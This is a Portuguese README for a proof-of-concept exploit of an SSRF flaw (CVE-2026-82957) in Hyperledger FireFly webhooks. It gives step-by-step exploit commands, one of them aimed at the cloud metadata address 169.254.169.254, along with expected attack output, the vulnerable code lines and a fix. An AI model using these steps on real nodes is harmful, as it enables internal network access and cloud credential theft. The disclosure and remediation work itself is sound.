
Prova de conceito de exploit para CVE-2026-82957, uma SSRF nas assinaturas de webhook do Hyperledger FireFly que força o nó a requisitar URLs internas ou de metadados da nuvem.
Um exploit de prova de conceito para CVE-2026-82957, uma Server-Side Request Forgery (CWE-918) no transporte de eventos webhooks do Hyperledger FireFly Core. Qualquer cliente que consiga criar uma assinatura de evento pode registrar um webhook cuja URL de destino nunca é validada — quando ocorre um evento correspondente, o próprio nó do FireFly emite a requisição HTTP. Apontá-la para endereços exclusivamente internos (metadados de nuvem, loopback, serviços RFC1918) transforma o nó em um confused deputy.
Apenas a biblioteca padrão do Python 3 — sem dependências.
$ python3 cve_2026_82957.py --help
Passo 1 — inicie um listener na máquina que o nó FireFly deve acessar (a vítima de SSRF):
$ python3 -m http.server 8000 --bind 0.0.0.0
Etapa 2 — execute o exploit. -t é a URL base da API do FireFly, -u é a URL que o nó será forçado a requisitar:
# Point at your listener (host as seen from the FireFly container)
$ python3 cve_2026_82957.py -t http://target:5000 -u http://<host-ip>:8000/PWNED
# Arbitrary internal target (cloud metadata, internal service, etc.)
$ python3 cve_2026_82957.py -t http://target:5000 -u http://169.254.169.254/latest/meta-data/
# Non-default namespace
$ python3 cve_2026_82957.py -t http://target:5000 -n default -u http://<host-ip>:8000/PWNED
Para um nó FireFly em execução no Docker, <host-ip> é o gateway da rede bridge — encontre-o com docker network inspect <network> (campo IPAM.Config.Gateway, por exemplo 172.21.0.1).
Saída esperada:
[*] Step 1: creating webhook subscription with unvalidated internal URL
[+] Subscription accepted (201) - id 9bd2bbb9-... - host was NOT validated
[*] Step 2: triggering event to fire the webhook
[+] Broadcast accepted (202)
[!] The FireFly node has now issued the request itself.
Log do listener — o IP de origem é o IP do container do nó FireFly, não a máquina do atacante, provando que a requisição foi forjada pelo servidor. SSRF confirmado:
172.21.0.8 - - [12/Oct/2026 17:46:47] "GET /PWNED HTTP/1.1" 404 -
215c69181 ("Base implementation of webhooks invocation", 2021-06-20)e3c9b8d89 (main) — nenhum commit entre os dois adiciona validação de hostArquivo: internal/events/webhooks/webhooks.go
| Linha | Código | Problema |
|---|---|---|
| 191 | url: options.GetString("url") | destino obtido literalmente da entrada do usuário |
| 266 | ValidateOptions(...) | valida formato/headers/timeouts mas nunca o host |
| 394 | req.r.Execute(req.method, req.url) | a requisição é disparada |
Não há allowlist/denylist no destino resolvido: nenhum bloqueio para endereços loopback, privados (RFC1918) ou link-local (169.254.0.0/16), e tanto o host quanto o esquema são totalmente controlados pelo atacante. O FireFly não inclui nenhum plugin de autenticação de API por padrão, portanto a criação de assinaturas pode ser não autenticada.
POST /api/v1/namespaces/{ns}/subscriptions — cria o webhook malicioso (retorna 201 Created para URLs internas)POST /api/v1/namespaces/{ns}/messages/broadcast) — dispara a requisição forjadaCWE-918 Server-Side Request Forgery. Um atacante pode:
169.254.169.254) → escalada para a conta de nuvem"reply": true a resposta interna é retornada ao atacante como um evento do FireFly — não é cego~8.5 Alta CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N — a severidade depende de a API estar atrás de autenticação.
Em ValidateOptions, faça o parse da URL, resolva o host e rejeite endereços loopback/privados/link-local/não especificados; restrinja o esquema a http/https; revalide o IP resolvido no momento da conexão (via DialContext customizado) para derrotar DNS-rebinding; preferencialmente exponha uma allowlist configurável de hosts de webhook permitidos.
Esta ferramenta é destinada apenas a fins educacionais e de pesquisa. Use-a somente em sistemas que você possui ou para os quais tem permissão explícita de testar. O autor não é responsável por qualquer uso indevido ou dano causado por este programa.
A QuimeraX Intelligence é uma plataforma avançada de EASM e Cyber Threat Intelligence especializada em identificar vulnerabilidades críticas em sistemas complexos. A plataforma monitora, detecta e alerta proativamente os clientes sobre ameaças de segurança, garantindo transparência e resposta rápida a riscos potenciais. Os clientes recebem notificações imediatas e relatórios abrangentes caso seus sistemas sejam considerados vulneráveis, permitindo que tomem medidas de proteção. saiba mais
A Hakai Security é uma empresa de cibersegurança fundada por profissionais de segurança, comprometida com a excelência técnica. Oferecemos soluções de segurança sob medida, incluindo testes de penetração avançados, simulações realistas de Red Team e práticas de desenvolvimento seguro para proteger proativamente os ativos de nossos clientes contra ameaças cibernéticas em evolução.
O Hacking Club é a plataforma de treinamento onde você aprende cibersegurança por meio de lições práticas, laboratórios e desafios criados por especialistas que atuam em nossa consultoria de segurança: direto do campo de batalha para o seu treinamento.